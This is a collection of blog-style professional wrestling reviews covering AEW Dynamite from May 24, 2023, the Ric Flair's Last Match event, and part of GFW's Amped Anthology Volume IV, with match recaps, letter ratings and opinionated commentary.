Dynamite – May 24, 2023: Pay Per View Ready

Dynamite
Date: May 24, 2023
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Commentators: Excalibur, Tony Schiavone, Taz

It’s the go home show for Double Or Nothing and that means it’s time for one final push towards the pay per view. It would be hard to imagine anything else being added tonight, but for now at least, we should be in for a nice hard sell. The Blackpool Combat Club gets a Ring Of Honor Tag Team Title shot this week and you know the Elite will be around. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

International Title: Orange Cassidy vs. Kyle Fletcher

Cassidy is defending and gets knocked down for a fast two count. Fletcher knocks him to the floor for the suicide dive and a clothesline gets two more back inside. Back up and Cassidy knocks him off the apron for a nine count, allowing Cassidy to put his hands in his pockets. A superkick cuts Cassidy off again and a rather delayed suplex gets two as we take a break.

Back with Cassidy getting in a few shots of his own, only to be kicked off the apron. Fletcher grabs a Michinoku Driver for two, followed by a running kick in the corner. Cassidy is back with a brainbuster of his own but Fletcher grabs back to back Tombstones for another near fall. A super sitout Michinoku Driver gets two on Cassidy, because of course it does. Cassidy manages to reverse into a tornado DDT and a cradle finishes Fletcher at 15:05.

Rating: B-. They lost me with Cassidy being dropped on his head over and over and still getting up, but it wasn’t like there was any drama about the winner here in the first place. Cassidy isn’t losing the title four days before a 21 man match after having been built up as this surviving champion, especially to one half of a tag team. Nice opener, though it went longer than it needed to.

Ricky Starks is in the Blackjack Battle Royal but insists that he is in full control against Jay White and Juice Robinson. He’ll do something about it and win the title but here is Robinson to start the fight. White jumps him from behind and Starks is left laying thanks to some chair shots to the back. Well that’s more than White has been able to do lately.

Jungle Boy talks about working at low level shows in Las Vegas and driving the roads here time after time. What matters is being in the ring, which has let him live the life that he wants. On Monday morning, he’ll be driving on that same road, but this time as the World Champion.

Here is FTR to say it’s time to get serious with Jeff Jarrett and Jay Lethal. Jarrett has broken countless guitars and still can’t stay relevant, but he needs to understand that a couple of rejects from TNA aren’t going to be the heads of the tag division. After Double Or Nothing, Jarrett better go call the Queen Of The Mountain (Dax: “I mean Dixie Carter.”) to make sure he has some job security.

Top Guys are out but here is Mark Briscoe to cut them off. Briscoe asks about the piledriver last week, but Dax says it was an accident. Briscoe won’t shake his hand and instead slaps him in the face. He goes to leave and here are Jarrett and company. Briscoes shoves Karen away, drops Jeff, and tells Lethal that he’s getting tired of his BS. I’m still not sure how Lethal and Jarrett are the top options for the titles but the division has kind of fallen quiet in recent weeks. At least the match should be very good from a technical standpoint.

Sammy Guevara says MJF doesn’t have enough money to make him lay down because he’s coming for the title.

Trios Titles: Blake Christian/AR Fox/Metalik vs. House Of Black

The House is defending and the challengers have selected Lucha Rules for their Dealer’s Choice. Matthews knocks Christian outside to start but gets sent outside by Metalik. Black comes in to kick away at Metalik and it’s off to Christian, who gets planted by King. It’s back to Black to drop Christian, but Metalik comes in with a double dropkick.

A big step up flip dive to the floor takes out most of the House, but Fox is left alone to stare down King. Fox slips away and hits the big imploding moonsault to take out everyone else. Back in and Fox misses a 450, allowing Matthews to Stomp him down. The Prism Trap (high Rhea Ripley) sends Fox to the rope…which means nothing. Black kneebars Metalik and Matthews no sells Christian’s kicks. King grabs a choke on Christian as Fox finally taps at 5:18.

Rating: C. I know this isn’t the big showdown match or the titles but having a thrown together Ring Of Honor trio coming after the belts isn’t exactly inspiring. The trios division isn’t exactly top heavy right now, though there are some teams out there who could become viable challengers if given the chance. That wasn’t the case here though, and we got a House workout instead of a big time match as a result.

Video on Anarchy in the Arena from last year and the setup of this year’s version.

Blackpool Combat Club is read for Anarchy in the Arena. Jon Moxley talks about how they are the best in the world and they don’t take that lightly. They’ll prove it on Sunday.

Here is MJF for a chat. After mocking the fans, MJF lists off various ways that his challengers can be hurt/maimed/killed (including Jungle Boy being put in an echo chamber so he can hear himself and be bored to death). MJF talks about how four years ago, no one knew who the Pillars were, but now they have given you everything you want. They ARE AEW but MJF is kind of sick of this place. He’s sick of the lack of competition and respect, and hey did you know his contract expires soon?

MJF thinks it is no coincidence that he can lose the title without being pinned, but here is Darby Allin to interrupt. Allin talks about how he was working at the 99 cent store cleaning toilets and living in his car. Then AEW saved him, because no wrestling company is going to let him skateboard with Tony Hawk or drive a car over his house with Travis Pastrana (there uh, might be a reason for that Darby). Allin threatens to win the title and gets hit low.

MJF loads up the Dynamite Diamond but Sammy Guevara runs in for the save. Cue Jungle Boy so MJF goes after him, only to get dropped as well. Jungle Boy holds up the title. They’re trying so hard with this feud and it’s just not making that high level. It’s good, but it doesn’t feel like a main event feud no matter what they do.

Video on Wardlow vs. Christian Cage.

Lady Frost vs. Taya Valkyrie

Valkyrie takes her down to start but Frost is back up with a running hurricanrana. Frost gets sent into the corner and pulled back out for a sliding lariat. A missed charge in the corner sends Valkyrie into the post, followed by a running kick to the head in the corner. Frost’s front flip is cut off by a clothesline for two but cue Jade Cargill and company as we take a break. Back with Frost sending her into the corner and hitting a front flip into a Cannonball. Valkyrie hits a spear and gets two off a Blue Thunder Bomb. Road To Valhalla finishes Frost at 7:30.

Rating: C. Frost can do some nice gymnastics but that’s about all she showcased here. It was more competitive than I would have expected but not so much that it was getting unreasonable. At this point though, Taya almost has to win the title or I’m not sure what else she is supposed to do in AEW. For now though, she had a nice win on the way there.

Tony Khan announced that the first episode of Collision is going to be in Chicago.

Hangman Page isn’t sure if he was ever really friends with the Elite, but they have always been family. Page is ready for revenge and promises to take it back from the Blackpool Combat Club.

Tony Schiavone is in the ring for a contract signing between Adam Cole (with Roderick Strong) and Chris Jericho (with the Jericho Appreciation Society). Cole signs immediately and calls out Jericho for having Britt Baker attacked. Jericho must think that he can do anything he wants but we are going to see just how invincible he is on Sunday. Cole threatens a variety of damage to Jericho and tells him to sign, while calling him a b****.

That isn’t cool with Jericho, who says that isn’t what happened to Baker. We see a clip of Saraya beating on Baker with a kendo stick (as Jake Hager mocks back pain). Jericho asks what kind of a man allows that to happen to the love of his life. That’s enough to get Jericho to sign as he says Cole and Strong are outnumbered.

Cole says it is 5-2, but he made a phone call to someone here in Las Vegas. It’s someone he grew up idolizing…..and I kid you not……it’s SABU. After a long entrance, Sabu pelts a chair at Matt Menard’s face to chase off the Society. I’m not sure what to say here, but Tony Khan’s resurrection of the 90s continues, along with various promoters’ obsessions with trying to live off ECW’s legacy. I mean…..it’s SABU. In 2023. And Jericho and company are supposed to be intimidated? And fans who aren’t diehard ECW supporters are supposed to be interested?

Video on Jamie Hayter vs. Toni Storm.

Roderick Strong vs. Daniel Garcia

Strong wastes no time with the chops and gets two off his first backbreaker. Back with Garcia curb stomping him but taking too long dancing. Strong faceplants him to take over and hits the dropkick for a knockdown. Another backbreaker gives Strong another two but Garcia is back up to strike away. The Dragon Tamer is broken up though and End of Heartache finishes for Strong at 8:48.

Rating: C+. This is the kind of match that is always going to work as there was nothing technically wrong with it and both guys were working hard. AEW has stars like this to have a fine wrestling match and that is what they did here. Good enough stuff and I’d watch them both do something like this on a pretty regular basis.

We look at Willow Nightingale winning the New Japan Strong Women’s Title over Mercedes Mone.

Double Or Nothing rundown.

Ring Of Honor Tag Team Titles: Lucha Bros vs. Claudio Castagnoli/Wheeler Yuta

The Bros, with Alex Abrahantes, are defending and Bryan Danielson is on commentary. The champs send them outside to start for back to back dives, followed by Made In Japan for two on Yuta. Castagnoli uppercuts Fenix out of the air though and we take a break. Back with Yuta cravating Fenix, setting up Castagnoli’s swing into Yuta’s dropkick. Fenix kicks his way out of trouble, allowing Penta to come in and clean house.

Penta kicks away at both of them in the corner, setting up Fenix’s rolling forearm to Yuta. A running Canadian Destroyer plants Castagnoli and Fenix’s Black Thunder Driver gets two on Yuta. Castagnoli is back up to knock Penta outside and a Rocket Launcher hits Fenix for two. Abrahantes gets on the apron and here are the Young Bucks to cut off Castagnoli. The spike Fear Factor retains the titles at 10:28 (as Danielson is FURIOUS).

Rating: B. As usual, the Bros are able to have an exciting match with just about anyone and they did it again here. Thankfully they didn’t do a title switch to mess with the championship situation even more, as that would have just been one thing too many for the Club. For now, they had a main event level match and the Bros get a win over some big names.

Jon Moxley and the rest of the Club comes in to swear vengeance against the Bucks and the Elite. A lot of violence is promised to end the show.

Overall Rating: B. The wrestling was good enough and they pushed the pay per view well so I can’t complain that much. Other than the Sabu (I still can’t get over that) appearance, there was nothing too insane or over the top. Double Or Nothing should be good, but I’m going to be glad to get away from the Four Pillars stuff as it really doesn’t feel like a pay per view worthy World Title match. Solid Dynamite though, and they did what they needed to do.

Results
Orange Cassidy b. Kyle Fletcher – Cradle
House Of Black b. Blake Christian/AR Fox/Metalik – Prism Trap to Fox
Taya Valkyrie b. Lady Frost – Road To Valhalla
Roderick Strong b. Daniel Garcia – End Of Heartache
Lucha Bros b. Claudio Castagnoli/Wheeler Yuta – Spike Fear Factor to Yuta

 

 

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Ric Flair’s Last Match: Please Be The Last One

Ric Flair’s Last Match
Date: July 31, 2022
Location: Nashville Fairgrounds, Nashville, Tennessee
Commentators: Tony Schiavone, David Crockett, Ian Riccaboni

We had to get here eventually and I’m not that happy about it. This is a show that I haven’t really wanted to watch since it was announced and that hasn’t changed since. While I absolutely respect what he did in the ring, I’m not the biggest Flair fan and seeing him do something this risky isn’t something I particularly needed to see. The good thing is that this is a full show and the undercard looks pretty awesome, but it’s all leading to one thing and that has me dreading the show. Let’s get to it.

This is billed as a Jim Crockett Promotions event for old times’ sake.

Pre-Show: Ren Narita vs. Yuya Uemura

They go with the grappling to start and get to a standoff as Crockett seemingly has no idea who either of them are. Tony doesn’t either, but at least he seems more interested. Narita gets the better of a chop off (Crockett: “They wish they could be Ric Flair.”) and kicks him in the back a few times, only to run into a dropkick.

A running clothesline in the corner sets up a running bulldog out of the corner before starting in on the arm. Something close to Antonio Inoki’s cobra twist has Narita in trouble but he comes back with a German suplex for two. Back up and they slug it out until Narita counters a charge into a belly to belly suplex with a bridge for the pin at 5:58.

Rating: C. This isn’t designed to be a great match or anything close to it but they were able to go out there and do their moves until one of them got the pin. That isn’t a bad thing and it works very well for a spot like this. Good enough match here as Narita and Uemura continue to showcase themselves well and grow in front of your eyes.

Bunkhouse Battle Royal

Sinn Bodhi, James Storm, Bully Ray, Mance Warner, 1 Called Manders, Gringo Loco, Kommander, Joey Janela, Kal Herro, Big Damo, Blake Christian, Crimson, Jordan Oliver, Rickey Shane Page, Wolfie D, Effy, Matthew Justice, Crowbar

It’s a brawl to start (of course) but after about a minute, here is Nick Gage to lead a GCW invasion, as he promised last night at a GCW show. Storm hits Herro with the Eye of the Storm and tosses him out and there goes Damo as well. Some double teaming takes Crimson out and Loco moonsaults out onto Damo to eliminate himself. Kommander runs the top rope and eliminates himself as well and Janela tosses Wolfie D.

Bodhi whips out a spare ring rope for some choking but gets kicked out. Effy crotches Crowbar on top and plays D-Von in an old What’s Up. The Ray tosses him, as well as Justice, Manders and Oliver in a roll. We’re down to Warner, Ray, Storm and Janela, with the latter two being knocked out. Ray drops Warner and loads up a table, with Warner being powerbombed through. Then Warner tosses him to win at 11:23.

Rating: D+. You’re only going to be able to get so much out of this as it was a pretty fast battle royal with an invasion angle going on in the middle. Warner winning is fine, and it was nice to see them go that route instead of the expected way with Storm or Ray. Not much to see here, but you know what you’re getting with a battle royal.

Warner wins a cowboy boot and belt buckle because of course he does.

Bob Caudle (92 years old on Tuesday) welcomes us to the show and sends us to ringside.

Motor City Machine Guns vs. American Wolves

Scott D’Amore is on commentary and Chris Sabin works on Davey Richards’ wrist to start. Richards spins out and kicks the arm for the break, only to get armdragged into the corner. Edwards comes in but Shelley tags himself in and slaps on a sleeper. The Guns start taking over in the corner with the alternating kicks but Richards comes back in for a cheap shot. Some alternating kicks put Shelley down and commentary starts making Rock N Roll Express vs. Midnight Express comparisons.

Richards puts Shelley down and gets a running start to kick Sabin off the apron. The Wolves grab stereo submissions but Sabin Edwards away and into the other two for the double break. Richards dragon screw legwhips Shelley’s knee onto the ropes but misses a top rope double stomp. Shelley takes both Wolves down at once and the hot tag brings in Sabin to clean house.

The missile dropkick/Downward Spiral combination drops Richards for two but Edwards is back in with a superkick. Edwards’ backpack Stunner sets up the top rope double stomp with Sabin having to make a save. Sabin cutters Edwards and it’s the Dream Sequence for Richards. Skull and Crossbones finishes Edwards at 10:49.

Rating: B-. This was the kind of hot opening match you want to have and it worked well. These teams are going to have a solid match against each other through talent alone and that was on display here. The Guns are one of the best teams of their generation and the Wolves were good if you can handle Richards, making this a fast paced opener, as it was designed to be.

Video on some great moments of Jim Crockett Promotions.

Various wrestlers are here, including Vickie Guerrero, Santino Marella, Al Snow and Mick Foley.

Killer Kross vs. Davey Boy Smith Jr.

This is an MLW showcase. Scarlett Bordeaux is here with Kross, who has hair for a weird look. Smith drives him into the corner for a clean break to start so Kross takes it to the mat. The headscissors is escaped with a nip up and Smith cranks on the arm. The hammerlock goes on and we go to a wide shot for no apparent reason. They trade belly to back suplexes before a slugout goes to Smith. Back up and Kross pulls him into the Krossjacket but Smith flips back to escape. A t-bone suplex drops Bulldog again and it’s the Quickening (running forearm to the back of the head) to finish for Kross at 5:25.

Rating: C. They kept this one quick but the only thing that mattered was the belly to back suplexes. Smith is someone who should have all of the tools to be a top star but the lack of charisma hurts him a good bit. Then you have Kross, who feels like a killer (appropriately enough) and just isn’t that great in the ring. Mix those two together and you have something, but for now it’s two people missing something important.

More legends (Booker T., Shawn Michaels), plus Will Sasso, talk about what Ric Flair means.

Jonathan Gresham vs. Konosuke Takeshita vs. Alan Angels vs. Nick Wayne

The winner gets a future Progress World Title shot and I’ve never actually seen Wayne. He gets A LOT of praise though but I’ve never seen a match. Ian Riccaboni joins commentary to spruce things up a bit. Gresham seems a bit more enthusiastic here than he did at Death Before Dishonor. Angels and Gresham start things off but Gresham is sent outside and since lucha rules (because of course it is), Wayne comes in and sends Angels outside. Takeshita comes in with a running clothesline to put Wayne on the floor but it’s too early for the dive.

Gresham is back in to kick Takeshita down but Angels takes Takeshita’s place. Back in and Takeshita forearms Angels down before blasting him with a clothesline. Wayne grabs a Code Red for two on Angels but has to flip out of Takeshita’s German suplex. The Blue Thunder Bomb drops Wayne for two and everything breaks down. Angels and Wayne moonsault off the top and out to the floor for the big crash. Back in and Gresham drops Takeshita and Wayne, setting up the suicide dive to Angels. Gresham takes Angels back in and, after shrugging off the cradle attempt, tied Angels up for the rollup pin at 5:38.

Rating: C+. This was a fast paced match with so much crammed in that it felt like it could have been twice that long. Gresham is the most successful star here and him going on to the title match makes sense, though Wayne was looking smooth while he was in there. Takeshita was good as usual, with Angels continuing to be fast but small, which leaves him as just kind of a person.

Cody Rhodes sends in a video talking about how great he and his dad both think Flair is.

Rock N Roll Express vs. Brian Pillman Jr./Brock Anderson

That would be Ricky and Kerry Morton with Robert Gibson in their corner to counter Arn Anderson. Pillman and Brock have the 1990s Horsemen shirts to make things extra awesome. Nick Aldis joins commentary as the revolving door continues. I’m not sure if the bell rang but Pillman and Kerry start things off with Pillman taking him down without much trouble. They trade wristlock reversals until Kerry kicks him in the face to take over.

Pillman gets caught between the Mortons and pingponged back and forth with right hands. Brock comes in and wants Ricky, who kicks him into the corner and hammers away. It’s back to Kerry for the double dropkick but Brock takes Kerry into the corner for the tag off to Pillman. Kerry manages to send Brock into Pillman in the corner for a breather and the hot tag brings in Ricky. Everything breaks down and a Pillman cheap shot sends Ricky into a gordbuster to give Brock the pin at 7:39.

Rating: C. I get what they were going for here and the Express vs. Horsemen theme was a good idea, but Ricky and Kerry doesn’t have the same ring as Ricky and Robert. Pillman is someone else who seems to have a bunch of the tools but it hasn’t quite clicked yet. The match was another case where it wasn’t bad, but nothing I’ll remember in about five minutes.

JJ Dillon is here.

Bandido vs. Black Taurus vs. Laredo Kid vs. Rey Fenix

It’s a brawl to start with Taurus clearing the ring early on. Fenix and Kid are left alone with Kid shrugging off a chop and hitting a tornado DDT. A tiger driver plants Fenix but Kid misses a dive. Taurus comes back in and gets kicked in the face in the corner. Bandido is back in as well and gets caught with a rolling cutter from Fenix. Bandido sends Fenix outside and hits the one armed gorilla press on Kid.

There’s the running headscissors on Taurus but Kid knocks Bandido outside. Taurus dives onto everyone at ringside and then beats them up back inside as well. Bandido catches Taurus up top but he’s fine enough to super gorilla press Kid back down. Everyone is staggered and Taurus is sent outside, where Bandido nearly breaks his neck on a dive but manages to turn it into a Destroyer on the floor.

Bandido takes Kid up top for a super backflip fall away slam down onto Taurus and Fenix and everyone is down on the floor again. Back in and Taurus plants Bandido but Fenix makes the save with a top rope double stomp. Fenix’s Samoan driver finishes Taurus at 11:50.

Rating: B. When you put these four on the card, you do it so they can have a match like this. They had a very entertaining match with all kinds of high spots and fast paced action, which is all you would have needed here. It’s not about making sense or having any logic behind it, but rather about popping the crowd every chance they can. As usual, it worked.

Jim Ross wishes Flair well and thanks him for everything.

We recap Impact Wrestling World Champion Josh Alexander defending against Jacob Fatu. This is the match that got my attention more than anything else so this should be a heck of a fight.

Impact Wrestling World Title: Josh Alexander vs. Jacob Fatu

Alexander is defending and Fatu is part of the Anoa’i family with the nickname of the Samoan Werewolf. Tom Hannifan joins commentary this time around. Fatu charges at him to start and Alexander hammers away in the corner. Back up and Fatu uppercuts his way out of trouble, only to get elbowed in the face. Alexander starts cranking on the ankle but Fatu, who is built like Umaga, is back up with a running hurricanrana.

Fatu goes up but gets superplexed right back down. That doesn’t slow Fatu down, as he runs the corner and hits the Whisper In The Wind into a handspring moonsault, because he can do that. The running hip attack misses in the corner though and Alexander is back to the ankle. A powerbomb onto the knee gets two on Fatu, who is sent out to the apron.

Fatu’s slingshot is broken up and the running crossbody to the back puts him on the floor. Fatu is fine enough to run Alexander over and the top rope moonsault gets two back inside. Alexander manages to roll some German suplexes, only to walk into a pop up Samoan drop. Then Mark Sterling and the Major Players run in to jump them both for the DQ at 10:30.

Rating: B. Yeah this worked and the ending was about all they could have done. You don’t want one of the top stars of either promotion losing so doing the run-in is as logical as it gets. I could still go for Fatu to get a spot on a major roster at some point in the future because he is one of those freak athletes you do not find very often. Alexander continues to be one of the best stars going today and having him as the centerpiece of Impact is a great idea. Good match here and I expected nothing less.

Post match the beatdown is on but Diamond Dallas Page of all people runs in and Diamond Cutters Matt Cardona for the save.

An attempt at an interview with Jeff Jarrett finds his father Jerry Jarrett….and Jerry Lawler too. Lawler helped train Jeff so he’s ready to see Flair lose in his last match. Flair stole the strut from Jackie Fargo and ran out of Memphis the first time he faced Lawler, so it’s time to get rid of him for good. Lawler can still cut a fine enough heel promo.

Briscoes vs. Von Erichs

That would be Marshall and Ross Von Erich, Kevin’s sons. Ian Riccaboni is back on commentary as Mark takes Ross down to start. Marshall comes in to slam Mark but it’s off to Jay for a running clothesline. The Briscoes take over on Ross in the corner and the Von Erichs are sent outside for a big dive from Jay.

Back in and Jay hammers on Ross but a shot from Marshall puts the Briscoes in trouble for a change. That doesn’t last long as Jay gets over for the tag off to Mark and house is cleaned in a hurry. A shotgun dropkick sends Marshall into the corner as everything breaks down. Redneck Boogie is broken up and Marshall’s claw slam only gets two. Jay’s neckbreaker sets up the Froggy Bow to finish Marshall at 7:48.

Rating: C+. I haven’t seen the Von Erichs in a bit and they have gotten a bit better since then. It’s nice to see them looking more polished in the ring, which comes with experience. That being said, the Briscoes are one of the best teams of this generation and there is no shame in losing to a team that good. Nice enough match here, but the Von Erichs were overmatched.

Sting is grateful for Ric Flair.

We recap Jordynne Grace defending the Impact Knockouts Title against Rachael Ellering and Deonna Purrazzo. Not much of a story here but we need a women’s match on the show.

Impact Wrestling Knockouts Title: Jordynne Grace vs. Deonna Purrazzo vs. Rachael Ellering

Grace is defending. They trade the rapid fire rollups to start with no one being able to get anywhere. Purrazzo is sent outside so Grace and Ellering shake hands before starting up as well. Grace sends her into the corner and hits the running knees to the back, with Ellering seems to have hurt her ankle. Purrazzo is back up and sent right back to the floor, leaving Ellering to hit an STO into a middle rope spinning legdrop for two on Grace.

Back in and Purrazzo can’t get the Queen’s Gambit on Grace so Ellering comes in to beat on both of them. Grace spinebusters Ellering, who gets caught in a Fujiwara armbar from Purrazzo. With that being a problem, Grace grabs a choke on Purrazzo for the break. Back up and the Grace Driver plants Purrazzo and a rear naked choke makes Ellering tap to retain Grace’s title at 9:11.

Rating: C+. Another match that was fairly fast paced but without a ton of drama for the main event. Grace is a heck of a powerhouse and a good champion while Purrazzo has been the star of the division for a good chunk of the year. That left Ellering there to take the fall and it came at the end of a perfectly decent match.

We recap the main event, which is Ric Flair having his last match because he wanted to do it one more time. Then Jay Lethal no showed a podcast so Flair ripped into him, despite the two of them being friends. Jeff Jarrett wasn’t pleased so he and Lethal beat Flair down, drawing blood, because of course they did. Flair got Andrade El Idolo, his son-in-law, and the tag match is set. If this sounds not so great, it’s because it isn’t.

Undertaker and Michelle McCool are sitting next to Mick Foley.

Ric Flair/Andrade El Idolo vs. Jay Lethal/Jeff Jarrett

Karen Jarrett is here with Jeff and Jay. Jeff even shoves Conrad Thompson during his entrance so you know it’s serious. Flair, wearing the Big Gold Belt (looks to be the original too), uses the WWE version of his theme with the WOO to start. Kid Rock is at ringside (because of course he is) and Flair is wrestling in a sleeveless shirt, which is probably best for everyone at the moment. Flair and Jarrett start things off but it’s off to Lethal before anything big happens.

Lethal takes him down without much trouble and we’re at an early standoff. A headlock takeover takes Lethal over but he’s back up for an exchange of slaps in the corner. Lethal wants Andrade, who springboards in, making this a pretty run of the mill match instead of what we’re here to see. Some elbows to the face put Andrade in trouble but he’s fine enough to hiptoss Jarrett.

Flair comes in so Jarrett bails before hitting that strut. An Irish whip is blocked and Flair does his own strut, plus a crotch chop for fun. Flair chops away and kicks an interfering Lethal low, which is enough to send Jarrett up the aisle for a breather. Back in and Andrade gets in some kicks to Lethal’s ribs, allowing Flair to choke away in the corner. Some chops put Lethal down and Andrade comes back in, only to get taken down as well.

Now Jarrett can come in to stomp away, setting up another strut. Lethal’s Black Machismo (a name that has Crockett VERY confused) ax handle gets two on Andrade and the basement dropkick gets the same. Andrade counters a belly to back suplex from Jarrett but they bump heads for a double knockdown. The tag brings in Flair, who gets a Figure Four on Lethal but Jeff makes the save.

Karen slips in a high heel to bust Flair open, meaning Megan Flair (Ric’s daughter/Conrad’s wife) goes after her for the catfight over the barricade. Flair pokes Lethal in the eye to escape but gets taken back inside, where you can see him being VERY blown up. Lethal hits a suplex with Andrade having to make a save, leaving Lethal to hammer away even more. Hail To The King misses though and the tag brings in Andrade to clean house. A middle rope DDT gets two on Jarrett and Lethal superkicks Jarrett by mistake.

Andrade poisonranas Lethal and the ref is bumped, which is all this match needed. Flair tags in, despite laying on the apron at the time. Flair literally crawls over to Lethal for a cover but there’s no referee, so Jarrett brings in the guitar. That hits Lethal by mistake (duh) so Conrad throws Andrade some brass knuckles. Flair uses them on Jarrett and the Figure Four goes on. Cue another referee so Flair can pin the unconscious Jarrett (in the Figure Four) at 26:48.

Rating: D+. That’s about as generous as I can go as this was one of the hardest things I’ve sat through in a good while. Flair looked every bit of 73 years old out there and that was one of the worst possible outcomes. Seeing him laying on the apron and barely able to move was sad and the match was overbooked beyond belief in ways it didn’t need to be. If this is a ten minute match and they keep things as quick as they can go, it could have worked, but trying for some epic deal was a horrible idea.

The other problem is who was in there with him. I know there is a history/connection with most of them, but you would have go to pretty far down the list of Flair’s history to find Lethal and Jarrett. It comes off more like “here’s the best we can get to say yes” rather than someone special. The other problem is that needing them to be in the ring so long so Flair can recover left us with an only so interesting handicap match.

All in all, this is about what you had to expect: Flair talking up the match rather well and not being able to deliver in the ring. It was a passable match with the other guys in there, but this was all about Flair and at the end of the day, he wasn’t able to make it work. Cut this down to about 10-15 minutes and it could have worked, but it felt like Flair was dragged through this rather than going out on a happy note.

Post match Flair goes to ringside to thank some legends (Undertaker, Foley and Bret Hart, who are sitting together) before talking to Tony Schiavone. Flair talks about how he can’t believe how great this was and he’s in one of the best wrestling towns in the world. Then Kid Rock told him he was here to be entertained, just in case Flair didn’t have enough pressure on him. They’re hitting the town tonight, which isn’t quite how I was expecting such a speech to go.

Andrade hands Flair the Big Gold Belt and Flair hugs Lethal to end the show.

We get some credits, including a montage of Flair photos and Bob Caudle giving us the signoff (as he did back in the day).

Overall Rating: B-. This is a weird one as the main event is awful but that’s the only thing on the show that matters. I’ve heard this compared to a big boxing pay per view where no one watches anything but the last fight and that makes a lot of sense. The rest of the show was quite good and works as a heck of an indy show, but the main event didn’t work and dragged everything else down.

The other problem is the feeling of the show, as it might have been nice to have one more match, but it felt forced in a way. It’s like Flair decided it was time to praise him again and everyone had to line up with their nice things to say. The problem is they did that fourteen years ago on a bigger stage and after a better match. It didn’t feel fun or special, but rather “ok, he got what he wanted so let’s try to have a good time”. The Flair stuff was sad, and as good as the rest was, that’s all that mattered.

 

 

 

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One Night Only – Amped Anthology Volume IV: TNA Was Better

One Night Only: Amped Anthology Part IV
Date: December 8, 2017
Location: Orleans Arena, Las Vegas, Nevada
Commentators: Cyrus Fees, Chael Sonnen

Thank goodness it ends here. This is the final piece of the four part series of Jeff Jarrett’s failed attempt to launch his own promotion (the second time that is). Impact then released the TV tapings as a series of four events so that is what we have here, with the final four shows and a bunch of champions being crowned. Let’s get to it.

The opening video gives us a rapid fire look at what is left in the tournaments.

Commentary chatters and previews the show.

Seiya Sanda is ready to become #1 contender to the X-Division Title.

Sonjay Dutt is ready to become #1 contender to the X-Division Title.

Sonjay Dutt vs. Seiya Sanada

The winner gets a Nex Gen Title shot at some point in the future. Dutt bows to Sanada to start and we get a nice handshake. They go to the mat to start and it’s an early standoff. Dutt works on the arm as we hear about Sanada being part of the Bullet Club. Back up and Dutt hurricanranas him to the floor, setting up a headscissors to take him down again. A slingshot legdrop gives Dutt two and a backsplash is good for the same. The Octopus hold goes on with Dutt working on the hand to be a little more evil. Sonnen: “Sanada looks as Asian as Scott Hall does Cuban. I think it’s an angle.”

Sanada springboards in with a chop to the head, which we see three times for some reason. A TKO gives Sanada two but the moonsault misses. Instead Sanada grabs a bridging German suplex for two more but Dutt stacks up la majistral for his own two. There’s a running shooting star press for two more on Sanada and a running tornado DDT. A top rope splash gives Dutt the pin at 8:47.

Rating: C. This is a good example of what was wrong with GFW: there was little to the story and the action was completely average. The match was a perfect example of something that came and went with a few decent spots but I won’t remember it by the end of the show. It was very basic, by the book professional wrestling, but it has no staying power whatsoever.

Respect is shown post match.

Brian Myers is upset by his recent loss but he isn’t done.

Masked Saint vs. Juicy Joey

Saint is rather skinny and a tie in to a movie of the same name and apparently the grandson of the real version. Joey (Ryan of course) takes him into the corner to start but Saint is back with a clothesline into a headlock. A shoulder runs Saint over but Joey gets hiptossed out to the floor. Back in and Joey runs him over again, setting up the signature pose on the rope. Saint is back with a DDT for two but Joey knocks him down without much trouble. The chinlock goes on for a bit, only to have Saint pop up with a dropkick. A high crossbody finishes Joey at 5:10.

Rating: D+. It is pretty clear that Saint is very new at wrestling, as his offense was rather entry level. Then again, this felt like little more than a way to hype up the movie and that is acceptable enough. It isn’t like Joey Ryan is going to be hurt by taking a loss on a show like this, so just give the movie some press and move on.

Nick Aldis is ready to beat Bobby Roode and be the World Champion.

Chael Sonnen talks about training fellow MMA fighter Phil Baroni and calling him out during an appearance on a previous show. Baroni jumped the barricade and a match seems to be imminent.

Tag Team Title Tournament Semifinals: Whirlwind Gentlemen vs. Bollywood Boyz

The Gentlemen are Jack Manley/Remy Marcel while the Boyz are Gurv/Harv. The Boyz are better known as the Singh Brothers in WWE, which commentary points out for us. Harv and Manley start things off and a shoulder means it’s time for the Bollywood dancing. An armdrag into an armbar lets Gurv come in with an ax handle to the arm.

Gurv gets sent outside for a slam onto the apron and it’s time for the Gentlemen to work on the arm. The chinlock goes on for a bit, followed by more stomping to keep Gurv down. Back up and Manley is sent into Marcel, allowing the tag back to Harv. Everything breaks down and a double neckbreaker takes Remy down. The Bollywood Blast finishes Marcel at 4:33.

Rating: C-. Another “just a match” match here and that doesn’t exactly surprise me. The wrestling has not been the strong suit on this wrestling show and that is quite the issue to get around. They had two teams in a match here and the good guys won to get a title shot against more villains. I’m not sure what else you should have expected here.

Post match the celebration is on but Christina Von Eerie runs in to jump the Boyz’s dancers. Reno Scum comes in to jump the Boyz but Amber Gallows (facing Von Eerie for the Women’s Title) runs in for the save.

Video on the Women’s Title match.

We start the second episode with a look at the Women’s Title match.

Christopher Mordetzky (Chris Masters), with his advocate Stu Stone (I think?) arrives with a bouquet of flowers.

Cielo Escorpion wants the Nex Gen Title.

Enigma wants the Nex Gen Title.

Bestia 666 wants the Nex Gen Title.

Enigma vs. Bestia 666 vs. Cielo Escorpion

Enigma is better known as Venum Black Jr. and wrestled around Mexico for a few years. Escorpion is Scorpio Sky under a mask. Bestia decks both of them to start and we’re already in the triple headlock. Escorpion is sent outside, leaving Enigma to hit a rather speedy headscissors on Bestia. Back in and Escorpion gets springboard armdragged outside, allowing Enigma to hit a flipping suicide dive. Enigma gets back inside where Bestia gives him a tilt-a-whirl backbreaker, followed by a superkick into a standing moonsault for two on Escorpion.

Enigma is back in with a Code Red (not a Destroyer) for two on Bestia but Escorpion is back up with a jumping knee to the face. Escorpion’s big flip dive takes Bestia out again as we hear about WCW’s cruiserweight division. Bestia pops back up and drops Enigma, setting up a kneeling Musclebuster for two on Escorpion. Back up and Enigma grabs a satellite DDT on Bestia, followed by a running sunset flip (Fees: “I don’t even know what to call that!” It’s a running sunset flip.) for the pin at 5:09.

Rating: C+. This was mainly a bunch of spots and it worked out well enough, though the short time frame might have helped things. You could tell that Enigma was going to be the focal point of the match from the opening bell, which may or may not have been the best thing. It did what it needed to do, but it still fees like “hey we have a lucha/X-Division/Nex Gen match!” for no reason other than saying they have one on the show.

